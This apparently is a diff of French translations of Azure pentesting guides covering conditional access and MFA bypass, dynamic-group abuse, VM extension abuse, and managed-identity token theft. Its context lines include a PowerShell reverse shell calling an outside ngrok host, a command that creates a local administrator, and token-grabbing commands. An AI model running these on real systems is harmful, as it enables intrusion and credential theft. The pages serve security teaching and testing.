Le fichier de configuration compressé est téléchargé dans un conteneur de stockage Azure prédéfini, azure-pentest, en utilisant la cmdlet Set-AzStorageBlobContent d'Azure.
|
||||||
```powershell
|
```bash
|
||||||
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
|
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
|
||||||
```
|
```
|
||||||
- Étape 4 — Préparer la boîte Kali
|
- Étape 4 — Préparer la Kali Box
|
||||||
|
|
||||||
Le serveur Kali télécharge le payload RevPS.ps1 depuis un dépôt GitHub.
|
Le serveur Kali télécharge le payload RevPS.ps1 depuis un dépôt GitHub.
|
||||||
```bash
|
```bash
|
||||||
|
|||||||
@@ -50,7 +50,7 @@ Ou utiliser une [extension de navigateur comme celle-ci](https://chromewebstore.
|
|||||||
|
|
||||||
Si cela est défini dans la politique conditionnelle, un attaquant pourrait simplement utiliser un **VPN** dans le **pays autorisé** ou essayer de trouver un moyen d'accéder depuis une **adresse IP autorisée** pour contourner ces conditions.
|
Si cela est défini dans la politique conditionnelle, un attaquant pourrait simplement utiliser un **VPN** dans le **pays autorisé** ou essayer de trouver un moyen d'accéder depuis une **adresse IP autorisée** pour contourner ces conditions.
|
||||||
|
|
||||||
### Applications cloud
|
### Applications Cloud
|
||||||
|
|
||||||
Il est possible de configurer des **politiques d'accès conditionnel pour bloquer ou forcer** par exemple MFA lorsqu'un utilisateur essaie d'accéder à une **application spécifique** :
|
Il est possible de configurer des **politiques d'accès conditionnel pour bloquer ou forcer** par exemple MFA lorsqu'un utilisateur essaie d'accéder à une **application spécifique** :
|
||||||
|
|
||||||
@@ -85,7 +85,7 @@ Une option Azure MFA est de **recevoir un appel au numéro de téléphone config
|
|||||||
Les politiques demandent souvent un appareil conforme ou MFA, donc un **attaquant pourrait enregistrer un appareil conforme**, obtenir un **jeton PRT** et **contourner ainsi le MFA**.
|
Les politiques demandent souvent un appareil conforme ou MFA, donc un **attaquant pourrait enregistrer un appareil conforme**, obtenir un **jeton PRT** et **contourner ainsi le MFA**.
|
||||||
|
|
||||||
Commencez par enregistrer un **appareil conforme dans Intune**, puis **obtenez le PRT** avec :
|
Commencez par enregistrer un **appareil conforme dans Intune**, puis **obtenez le PRT** avec :
|
||||||
```powershell
|
```bash
|
||||||
$prtKeys = Get-AADIntuneUserPRTKeys - PfxFileName .\<uuid>.pfx -Credentials $credentials
|
$prtKeys = Get-AADIntuneUserPRTKeys - PfxFileName .\<uuid>.pfx -Credentials $credentials
|
||||||
|
|
||||||
$prtToken = New-AADIntUserPRTToken -Settings $prtKeys -GertNonce
|
$prtToken = New-AADIntUserPRTToken -Settings $prtKeys -GertNonce
|
||||||
@@ -106,7 +106,7 @@ Trouvez plus d'informations sur ce type d'attaque sur la page suivante :
|
|||||||
|
|
||||||
Ce script récupère des identifiants d'utilisateur et vérifie s'il peut se connecter à certaines applications.
|
Ce script récupère des identifiants d'utilisateur et vérifie s'il peut se connecter à certaines applications.
|
||||||
|
|
||||||
Ceci est utile pour voir si vous **n'êtes pas obligé de MFA pour vous connecter à certaines applications** que vous pourriez ensuite abuser pour **escalader les privilèges**.
|
Ceci est utile pour voir si vous **n'êtes pas obligé de MFA pour vous connecter à certaines applications** que vous pourriez ensuite abuser pour **escalader des privilèges**.
|
||||||
|
|
||||||
### [roadrecon](https://github.com/dirkjanm/ROADtools)
|
### [roadrecon](https://github.com/dirkjanm/ROADtools)
|
||||||
|
|
||||||
@@ -116,7 +116,7 @@ roadrecon plugin policies
|
|||||||
```
|
```
|
||||||
### [Invoke-MFASweep](https://github.com/dafthack/MFASweep)
|
### [Invoke-MFASweep](https://github.com/dafthack/MFASweep)
|
||||||
|
|
||||||
MFASweep est un script PowerShell qui tente de **se connecter à divers services Microsoft en utilisant un ensemble de credentials fournis et tentera d'identifier si MFA est activé**. Selon la façon dont les politiques d'accès conditionnel et d'autres paramètres d'authentification multi-facteurs sont configurés, certains protocoles peuvent finir par être laissés en facteur unique. Il dispose également d'une vérification supplémentaire pour les configurations ADFS et peut tenter de se connecter au serveur ADFS sur site s'il est détecté.
|
MFASweep est un script PowerShell qui tente de **se connecter à divers services Microsoft en utilisant un ensemble de credentials fournis et tentera d'identifier si MFA est activé**. Selon la façon dont les politiques d'accès conditionnel et d'autres paramètres d'authentification multi-facteurs sont configurés, certains protocoles peuvent finir par être laissés en facteur unique. Il a également une vérification supplémentaire pour les configurations ADFS et peut tenter de se connecter au serveur ADFS sur site s'il est détecté.
|
||||||
```bash
|
```bash
|
||||||
Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content
|
Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content
|
||||||
Invoke-MFASweep -Username <username> -Password <pass>
|
Invoke-MFASweep -Username <username> -Password <pass>
|
||||||
@@ -142,19 +142,19 @@ Donkey token est un ensemble de fonctions qui visent à aider les consultants en
|
|||||||
</strong></code></pre>
|
</strong></code></pre>
|
||||||
|
|
||||||
**Testez chaque portail** s'il est possible de **se connecter sans MFA** :
|
**Testez chaque portail** s'il est possible de **se connecter sans MFA** :
|
||||||
```powershell
|
```bash
|
||||||
$username = "conditional-access-app-user@azure.training.hacktricks.xyz"
|
$username = "conditional-access-app-user@azure.training.hacktricks.xyz"
|
||||||
$password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force
|
$password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force
|
||||||
$cred = New-Object System.Management.Automation.PSCredential($username, $password)
|
$cred = New-Object System.Management.Automation.PSCredential($username, $password)
|
||||||
Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue
|
Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue
|
||||||
```
|
```
|
||||||
Parce que le **portail** **Azure** n'est **pas contraint**, il est possible de **rassembler un jeton à partir de l'endpoint du portail pour accéder à tout service détecté** par l'exécution précédente. Dans ce cas, Sharepoint a été identifié, et un jeton pour y accéder est demandé :
|
Parce que le **portail** **Azure** **n'est pas contraint**, il est possible de **rassembler un jeton à partir de l'endpoint du portail pour accéder à tout service détecté** par l'exécution précédente. Dans ce cas, Sharepoint a été identifié, et un jeton pour y accéder est demandé :
|
||||||
```powershell
|
```bash
|
||||||
$token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune
|
$token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune
|
||||||
Read-JWTtoken -token $token.access_token
|
Read-JWTtoken -token $token.access_token
|
||||||
```
|
```
|
||||||
Supposons que le jeton ait la permission Sites.Read.All (de Sharepoint), même si vous ne pouvez pas accéder à Sharepoint depuis le web en raison de MFA, il est possible d'utiliser le jeton pour accéder aux fichiers avec le jeton généré :
|
Supposons que le jeton ait la permission Sites.Read.All (de Sharepoint), même si vous ne pouvez pas accéder à Sharepoint depuis le web en raison de MFA, il est possible d'utiliser le jeton pour accéder aux fichiers avec le jeton généré :
|
||||||
```powershell
|
```bash
|
||||||
$data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl
|
$data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl
|
||||||
```
|
```
|
||||||
## Références
|
## Références
|
||||||
|
|||||||
@@ -4,9 +4,9 @@
|
|||||||
|
|
||||||
## Informations de base
|
## Informations de base
|
||||||
|
|
||||||
Les **groupes dynamiques** sont des groupes qui ont un ensemble de **règles** configurées et tous les **utilisateurs ou appareils** qui correspondent aux règles sont ajoutés au groupe. Chaque fois qu'un **attribut** d'utilisateur ou d'appareil est **modifié**, les règles dynamiques sont **vérifiées à nouveau**. Et lorsqu'une **nouvelle règle** est **créée**, tous les appareils et utilisateurs sont **vérifiés**.
|
Les **dynamic groups** sont des groupes qui ont un ensemble de **règles** configurées et tous les **utilisateurs ou appareils** qui correspondent aux règles sont ajoutés au groupe. Chaque fois qu'un **attribut** d'utilisateur ou d'appareil est **modifié**, les règles dynamiques sont **vérifiées à nouveau**. Et lorsqu'une **nouvelle règle** est **créée**, tous les appareils et utilisateurs sont **vérifiés**.
|
||||||
|
|
||||||
Les groupes dynamiques peuvent avoir des **rôles Azure RBAC assignés** à eux, mais il n'est **pas possible** d'ajouter des **rôles AzureAD** aux groupes dynamiques.
|
Les groupes dynamiques peuvent avoir des **rôles Azure RBAC assignés** à eux, mais il est **impossible** d'ajouter des **rôles AzureAD** aux groupes dynamiques.
|
||||||
|
|
||||||
Cette fonctionnalité nécessite une licence Azure AD premium P1.
|
Cette fonctionnalité nécessite une licence Azure AD premium P1.
|
||||||
|
|
||||||
@@ -23,7 +23,7 @@ Obtenez les groupes qui permettent l'adhésion dynamique : **`az ad group list -
|
|||||||
|
|
||||||
Pour l'email de l'utilisateur invité, acceptez l'invitation et vérifiez les paramètres actuels de **cet utilisateur** dans [https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView](https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView).\
|
Pour l'email de l'utilisateur invité, acceptez l'invitation et vérifiez les paramètres actuels de **cet utilisateur** dans [https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView](https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView).\
|
||||||
Malheureusement, la page ne permet pas de modifier les valeurs des attributs, donc nous devons utiliser l'API :
|
Malheureusement, la page ne permet pas de modifier les valeurs des attributs, donc nous devons utiliser l'API :
|
||||||
```powershell
|
```bash
|
||||||
# Login with the gust user
|
# Login with the gust user
|
||||||
az login --allow-no-subscriptions
|
az login --allow-no-subscriptions
|
||||||
|
|
||||||
|
|||||||
@@ -49,7 +49,7 @@ az vm extension set \
|
|||||||
|
|
||||||
{{#tab name="Windows" }}
|
{{#tab name="Windows" }}
|
||||||
|
|
||||||
- Exécuter un reverse shell
|
- Exécuter un shell inversé
|
||||||
```bash
|
```bash
|
||||||
# Get encoded reverse shell
|
# Get encoded reverse shell
|
||||||
echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64
|
echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64
|
||||||
@@ -79,7 +79,7 @@ az vm extension set \
|
|||||||
Vous pouvez également exécuter d'autres charges utiles comme : `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add`
|
Vous pouvez également exécuter d'autres charges utiles comme : `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add`
|
||||||
|
|
||||||
- Réinitialiser le mot de passe en utilisant l'extension VMAccess
|
- Réinitialiser le mot de passe en utilisant l'extension VMAccess
|
||||||
```powershell
|
```bash
|
||||||
# Run VMAccess extension to reset the password
|
# Run VMAccess extension to reset the password
|
||||||
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
|
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
|
||||||
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
|
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
|
||||||
@@ -94,7 +94,7 @@ Il est également possible d'abuser des extensions bien connues pour exécuter d
|
|||||||
<summary>Extension VMAccess</summary>
|
<summary>Extension VMAccess</summary>
|
||||||
|
|
||||||
Cette extension permet de modifier le mot de passe (ou de créer un mot de passe s'il n'existe pas) des utilisateurs à l'intérieur des VMs Windows.
|
Cette extension permet de modifier le mot de passe (ou de créer un mot de passe s'il n'existe pas) des utilisateurs à l'intérieur des VMs Windows.
|
||||||
```powershell
|
```bash
|
||||||
# Run VMAccess extension to reset the password
|
# Run VMAccess extension to reset the password
|
||||||
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
|
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
|
||||||
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
|
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
|
||||||
@@ -106,7 +106,7 @@ Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Na
|
|||||||
<summary>DesiredConfigurationState (DSC)</summary>
|
<summary>DesiredConfigurationState (DSC)</summary>
|
||||||
|
|
||||||
C'est une **extension VM** qui appartient à Microsoft et qui utilise PowerShell DSC pour gérer la configuration des VMs Windows Azure. Par conséquent, elle peut être utilisée pour **exécuter des commandes arbitraires** dans les VMs Windows via cette extension :
|
C'est une **extension VM** qui appartient à Microsoft et qui utilise PowerShell DSC pour gérer la configuration des VMs Windows Azure. Par conséquent, elle peut être utilisée pour **exécuter des commandes arbitraires** dans les VMs Windows via cette extension :
|
||||||
```powershell
|
```bash
|
||||||
# Content of revShell.ps1
|
# Content of revShell.ps1
|
||||||
Configuration RevShellConfig {
|
Configuration RevShellConfig {
|
||||||
Node localhost {
|
Node localhost {
|
||||||
@@ -157,7 +157,7 @@ Set-AzVMDscExtension `
|
|||||||
|
|
||||||
<summary>Hybrid Runbook Worker</summary>
|
<summary>Hybrid Runbook Worker</summary>
|
||||||
|
|
||||||
C'est une extension de VM qui permet d'exécuter des runbooks dans des VM à partir d'un compte d'automatisation. Pour plus d'informations, consultez le [service des comptes d'automatisation](../az-services/az-automation-account/index.html).
|
C'est une extension de VM qui permet d'exécuter des runbooks dans des VMs à partir d'un compte d'automatisation. Pour plus d'informations, consultez le [service des comptes d'automatisation](../az-services/az-automation-account/index.html).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
@@ -310,7 +310,7 @@ Connectez-vous via **SSH** avec **`az ssh vm --name <vm-name> --resource-group <
|
|||||||
|
|
||||||
## `Microsoft.Resources/deployments/write`, `Microsoft.Network/virtualNetworks/write`, `Microsoft.Network/networkSecurityGroups/write`, `Microsoft.Network/networkSecurityGroups/join/action`, `Microsoft.Network/publicIPAddresses/write`, `Microsoft.Network/publicIPAddresses/join/action`, `Microsoft.Network/networkInterfaces/write`, `Microsoft.Compute/virtualMachines/write, Microsoft.Network/virtualNetworks/subnets/join/action`, `Microsoft.Network/networkInterfaces/join/action`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
## `Microsoft.Resources/deployments/write`, `Microsoft.Network/virtualNetworks/write`, `Microsoft.Network/networkSecurityGroups/write`, `Microsoft.Network/networkSecurityGroups/join/action`, `Microsoft.Network/publicIPAddresses/write`, `Microsoft.Network/publicIPAddresses/join/action`, `Microsoft.Network/networkInterfaces/write`, `Microsoft.Compute/virtualMachines/write, Microsoft.Network/virtualNetworks/subnets/join/action`, `Microsoft.Network/networkInterfaces/join/action`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||||
|
|
||||||
Toutes ces permissions sont nécessaires pour **créer une VM avec une identité gérée spécifique** et laisser un **port ouvert** (22 dans ce cas). Cela permet à un utilisateur de créer une VM et de s'y connecter et de **voler des jetons d'identité gérée** pour élever les privilèges à celle-ci.
|
Toutes ces permissions sont nécessaires pour **créer une VM avec une identité gérée spécifique** et laisser un **port ouvert** (22 dans ce cas). Cela permet à un utilisateur de créer une VM et de s'y connecter et de **voler des jetons d'identité gérée** pour élever ses privilèges.
|
||||||
|
|
||||||
Selon la situation, plus ou moins de permissions peuvent être nécessaires pour abuser de cette technique.
|
Selon la situation, plus ou moins de permissions peuvent être nécessaires pour abuser de cette technique.
|
||||||
```bash
|
```bash
|
||||||
|
|||||||
@@ -10,10 +10,10 @@ Vous pouvez trouver la liste des **portails Microsoft à** [**https://msportals.
|
|||||||
|
|
||||||
#### API Azure via Powershell
|
#### API Azure via Powershell
|
||||||
|
|
||||||
Obtenez **access_token** à partir de **IDENTITY_HEADER** et **IDENTITY_ENDPOINT** : `system('curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER');`.
|
Obtenez le **access_token** à partir de **IDENTITY_HEADER** et **IDENTITY_ENDPOINT** : `system('curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER');`.
|
||||||
|
|
||||||
Ensuite, interrogez l'API REST Azure pour obtenir le **ID d'abonnement** et plus.
|
Ensuite, interrogez l'API REST Azure pour obtenir le **subscription ID** et plus.
|
||||||
```powershell
|
```bash
|
||||||
$Token = 'eyJ0eX..'
|
$Token = 'eyJ0eX..'
|
||||||
$URI = 'https://management.azure.com/subscriptions?api-version=2020-01-01'
|
$URI = 'https://management.azure.com/subscriptions?api-version=2020-01-01'
|
||||||
# $URI = 'https://graph.microsoft.com/v1.0/applications'
|
# $URI = 'https://graph.microsoft.com/v1.0/applications'
|
||||||
|
|||||||
@@ -26,7 +26,7 @@ az acr show --name MyRegistry --resource-group MyResourceGroup
|
|||||||
{{#endtab }}
|
{{#endtab }}
|
||||||
|
|
||||||
{{#tab name="Az Powershell" }}
|
{{#tab name="Az Powershell" }}
|
||||||
```powershell
|
```bash
|
||||||
# List all ACRs in your subscription
|
# List all ACRs in your subscription
|
||||||
Get-AzContainerRegistry
|
Get-AzContainerRegistry
|
||||||
|
|
||||||
|
|||||||
@@ -22,15 +22,15 @@ Les applications ont quelques configurations intéressantes :
|
|||||||
- **SSH** : Si activé, un utilisateur ayant suffisamment de permissions peut se connecter à l'application en utilisant SSH.
|
- **SSH** : Si activé, un utilisateur ayant suffisamment de permissions peut se connecter à l'application en utilisant SSH.
|
||||||
- **Débogage** : Si activé, un utilisateur ayant suffisamment de permissions peut déboguer l'application. Cependant, cela est désactivé automatiquement toutes les 48 heures.
|
- **Débogage** : Si activé, un utilisateur ayant suffisamment de permissions peut déboguer l'application. Cependant, cela est désactivé automatiquement toutes les 48 heures.
|
||||||
- **Web App + Base de données** : La console web permet de créer une application avec une base de données. Dans ce cas, il est possible de sélectionner la base de données à utiliser (SQLAzure, PostgreSQL, MySQL, MongoDB) et cela vous permet également de créer un Azure Cache pour Redis.
|
- **Web App + Base de données** : La console web permet de créer une application avec une base de données. Dans ce cas, il est possible de sélectionner la base de données à utiliser (SQLAzure, PostgreSQL, MySQL, MongoDB) et cela vous permet également de créer un Azure Cache pour Redis.
|
||||||
- L'URL contenant les identifiants pour la base de données et Redis sera stockée dans les **appsettings**.
|
- L'URL contenant les informations d'identification pour la base de données et Redis sera stockée dans les **appsettings**.
|
||||||
- **Conteneur** : Il est possible de déployer un conteneur sur l'App Service en indiquant l'URL du conteneur et les identifiants pour y accéder.
|
- **Conteneur** : Il est possible de déployer un conteneur sur l'App Service en indiquant l'URL du conteneur et les informations d'identification pour y accéder.
|
||||||
- **Montages** : Il est possible de créer 5 montages à partir de comptes de stockage, qu'il s'agisse d'Azure Blob (Lecture seule) ou d'Azure Files. La configuration stockera la clé d'accès sur le compte de stockage.
|
- **Montages** : Il est possible de créer 5 montages à partir de comptes de stockage, qu'il s'agisse d'Azure Blob (Lecture seule) ou d'Azure Files. La configuration stockera la clé d'accès sur le compte de stockage.
|
||||||
|
|
||||||
## Authentification de base
|
## Authentification de base
|
||||||
|
|
||||||
Lors de la création d'une application web (et d'une fonction Azure généralement), il est possible d'indiquer si vous souhaitez **activer l'authentification de base** (désactivée par défaut). Cela **active essentiellement SCM (Source Control Manager) et FTP (File Transfer Protocol)** pour l'application, ce qui permettra de déployer l'application en utilisant ces technologies.
|
Lors de la création d'une application web (et d'une fonction Azure généralement), il est possible d'indiquer si vous souhaitez **activer l'authentification de base** (désactivée par défaut). Cela **active essentiellement SCM (Source Control Manager) et FTP (File Transfer Protocol)** pour l'application, ce qui permettra de déployer l'application en utilisant ces technologies.
|
||||||
|
|
||||||
Pour accéder aux serveurs SCM et FTP, un **nom d'utilisateur et un mot de passe** sont requis. Par conséquent, Azure fournit certaines **API pour obtenir les URL** de ces plateformes et les identifiants.
|
Pour accéder aux serveurs SCM et FTP, un **nom d'utilisateur et un mot de passe** sont requis. Par conséquent, Azure fournit certaines **API pour obtenir les URL** de ces plateformes et les informations d'identification.
|
||||||
|
|
||||||
Le **serveur FTP n'a pas de magie spéciale**, avec l'URL valide, le nom d'utilisateur et le mot de passe, il est possible de se connecter et d'obtenir des permissions de lecture et d'écriture sur l'environnement de l'application.
|
Le **serveur FTP n'a pas de magie spéciale**, avec l'URL valide, le nom d'utilisateur et le mot de passe, il est possible de se connecter et d'obtenir des permissions de lecture et d'écriture sur l'environnement de l'application.
|
||||||
|
|
||||||
@@ -62,11 +62,11 @@ Les App Services permettent de télécharger le code sous forme de fichier zip p
|
|||||||
- Vous pouvez obtenir les jetons d'authentification en exécutant `az rest --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"`
|
- Vous pouvez obtenir les jetons d'authentification en exécutant `az rest --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"`
|
||||||
- Azure configurera par défaut une **action Github** pour déployer le code sur l'App Service chaque fois que le code est mis à jour.
|
- Azure configurera par défaut une **action Github** pour déployer le code sur l'App Service chaque fois que le code est mis à jour.
|
||||||
- Il est également possible d'indiquer un **dépôt git distant** (avec nom d'utilisateur et mot de passe) pour obtenir le code à partir de là.
|
- Il est également possible d'indiquer un **dépôt git distant** (avec nom d'utilisateur et mot de passe) pour obtenir le code à partir de là.
|
||||||
- Vous pouvez obtenir les identifiants pour le dépôt distant en exécutant `az webapp deployment source show --name <app-name> --resource-group <res-group>` ou `az rest --method POST --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"`
|
- Vous pouvez obtenir les informations d'identification du dépôt distant en exécutant `az webapp deployment source show --name <app-name> --resource-group <res-group>` ou `az rest --method POST --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"`
|
||||||
- Il est également possible d'utiliser un **dépôt Azure**.
|
- Il est également possible d'utiliser un **dépôt Azure**.
|
||||||
- Il est également possible de configurer un **dépôt git local**.
|
- Il est également possible de configurer un **dépôt git local**.
|
||||||
- Vous pouvez obtenir l'URL du dépôt git avec `az webapp deployment source show --name <app-name> --resource-group <res-group>` et ce sera l'URL SCM de l'application.
|
- Vous pouvez obtenir l'URL du dépôt git avec `az webapp deployment source show --name <app-name> --resource-group <res-group>` et ce sera l'URL SCM de l'application.
|
||||||
- Pour le cloner, vous aurez besoin des identifiants SCM que vous pouvez obtenir avec `az webapp deployment list-publishing-profiles --resource-group <res-group> -n <name>`
|
- Pour le cloner, vous aurez besoin des informations d'identification SCM que vous pouvez obtenir avec `az webapp deployment list-publishing-profiles --resource-group <res-group> -n <name>`
|
||||||
|
|
||||||
## Webjobs
|
## Webjobs
|
||||||
|
|
||||||
@@ -180,7 +180,7 @@ az webapp hybrid-connections list --name <name> --resource-group <res-group>
|
|||||||
{{#endtab }}
|
{{#endtab }}
|
||||||
|
|
||||||
{{#tab name="Az Powershell" }}
|
{{#tab name="Az Powershell" }}
|
||||||
```powershell
|
```bash
|
||||||
# Get App Services and Function Apps
|
# Get App Services and Function Apps
|
||||||
Get-AzWebApp
|
Get-AzWebApp
|
||||||
# Get only App Services
|
# Get only App Services
|
||||||
|
|||||||
@@ -4,7 +4,7 @@
|
|||||||
|
|
||||||
## Informations de base
|
## Informations de base
|
||||||
|
|
||||||
[Depuis la documentation :](https://learn.microsoft.com/en-us/entra/identity/app-proxy/application-proxy)
|
[Selon la documentation :](https://learn.microsoft.com/en-us/entra/identity/app-proxy/application-proxy)
|
||||||
|
|
||||||
Le proxy d'application d'Azure Active Directory fournit un **accès à distance sécurisé aux applications web sur site**. Après un **authentification unique à Azure AD**, les utilisateurs peuvent accéder à la fois aux **applications cloud** et **sur site** via une **URL externe** ou un portail d'application interne.
|
Le proxy d'application d'Azure Active Directory fournit un **accès à distance sécurisé aux applications web sur site**. Après un **authentification unique à Azure AD**, les utilisateurs peuvent accéder à la fois aux **applications cloud** et **sur site** via une **URL externe** ou un portail d'application interne.
|
||||||
|
|
||||||
@@ -20,7 +20,7 @@ Cela fonctionne comme suit :
|
|||||||
6. La **réponse** est envoyée via le connecteur et le service de proxy d'application **à l'utilisateur**.
|
6. La **réponse** est envoyée via le connecteur et le service de proxy d'application **à l'utilisateur**.
|
||||||
|
|
||||||
## Énumération
|
## Énumération
|
||||||
```powershell
|
```bash
|
||||||
# Enumerate applications with application proxy configured
|
# Enumerate applications with application proxy configured
|
||||||
Get-AzureADApplication | %{try{Get-AzureADApplicationProxyApplication -ObjectId $_.ObjectID;$_.DisplayName;$_.ObjectID}catch{}}
|
Get-AzureADApplication | %{try{Get-AzureADApplicationProxyApplication -ObjectId $_.ObjectID;$_.DisplayName;$_.ObjectID}catch{}}
|
||||||
|
|
||||||
|
|||||||
@@ -4,7 +4,7 @@
|
|||||||
|
|
||||||
## Informations de base
|
## Informations de base
|
||||||
|
|
||||||
[Selon la documentation :](https://learn.microsoft.com/en-us/azure/azure-resource-manager/templates/overview) Pour mettre en œuvre **l'infrastructure en tant que code pour vos solutions Azure**, utilisez les modèles Azure Resource Manager (modèles ARM). Le modèle est un fichier JavaScript Object Notation (**JSON**) qui **définit** l'**infrastructure** et la configuration de votre projet. Le modèle utilise une syntaxe déclarative, ce qui vous permet d'indiquer ce que vous souhaitez déployer sans avoir à écrire la séquence de commandes de programmation pour le créer. Dans le modèle, vous spécifiez les ressources à déployer et les propriétés de ces ressources.
|
[Dans la documentation :](https://learn.microsoft.com/en-us/azure/azure-resource-manager/templates/overview) Pour mettre en œuvre **l'infrastructure en tant que code pour vos solutions Azure**, utilisez les modèles Azure Resource Manager (modèles ARM). Le modèle est un fichier JavaScript Object Notation (**JSON**) qui **définit** l'**infrastructure** et la configuration de votre projet. Le modèle utilise une syntaxe déclarative, ce qui vous permet d'indiquer ce que vous souhaitez déployer sans avoir à écrire la séquence de commandes de programmation pour le créer. Dans le modèle, vous spécifiez les ressources à déployer et les propriétés de ces ressources.
|
||||||
|
|
||||||
### Historique
|
### Historique
|
||||||
|
|
||||||
@@ -13,7 +13,7 @@ Si vous pouvez y accéder, vous pouvez avoir **des informations sur les ressourc
|
|||||||
## Recherche d'informations sensibles
|
## Recherche d'informations sensibles
|
||||||
|
|
||||||
Les utilisateurs ayant les autorisations `Microsoft.Resources/deployments/read` et `Microsoft.Resources/subscriptions/resourceGroups/read` peuvent **lire l'historique des déploiements**.
|
Les utilisateurs ayant les autorisations `Microsoft.Resources/deployments/read` et `Microsoft.Resources/subscriptions/resourceGroups/read` peuvent **lire l'historique des déploiements**.
|
||||||
```powershell
|
```bash
|
||||||
Get-AzResourceGroup
|
Get-AzResourceGroup
|
||||||
Get-AzResourceGroupDeployment -ResourceGroupName <name>
|
Get-AzResourceGroupDeployment -ResourceGroupName <name>
|
||||||
|
|
||||||
|
|||||||
@@ -9,22 +9,22 @@ Les comptes d'automatisation Azure sont des services basés sur le cloud dans Mi
|
|||||||
### Paramètres
|
### Paramètres
|
||||||
|
|
||||||
- **Identifiants** : Le mot de passe n'est accessible que dans un runbook à l'intérieur du compte d'automatisation, il est utilisé pour **stocker les noms d'utilisateur et les mots de passe en toute sécurité**.
|
- **Identifiants** : Le mot de passe n'est accessible que dans un runbook à l'intérieur du compte d'automatisation, il est utilisé pour **stocker les noms d'utilisateur et les mots de passe en toute sécurité**.
|
||||||
- **Variables** : Utilisées pour stocker des **données de configuration** qui peuvent être utilisées dans les runbooks. Cela pourrait également inclure des informations sensibles comme des clés API. Si la variable est **stockée de manière chiffrée**, elle n'est disponible que dans un runbook à l'intérieur du compte d'automatisation.
|
- **Variables** : Utilisées pour stocker des **données de configuration** qui peuvent être utilisées dans les runbooks. Cela pourrait également être des informations sensibles comme des clés API. Si la variable est **stockée de manière chiffrée**, elle n'est disponible que dans un runbook à l'intérieur du compte d'automatisation.
|
||||||
- **Certificats** : Utilisés pour stocker des **certificats** qui peuvent être utilisés dans les runbooks.
|
- **Certificats** : Utilisés pour stocker des **certificats** qui peuvent être utilisés dans les runbooks.
|
||||||
- **Connexions** : Utilisées pour stocker des **informations de connexion** à des services externes. Cela pourrait contenir des **informations sensibles**.
|
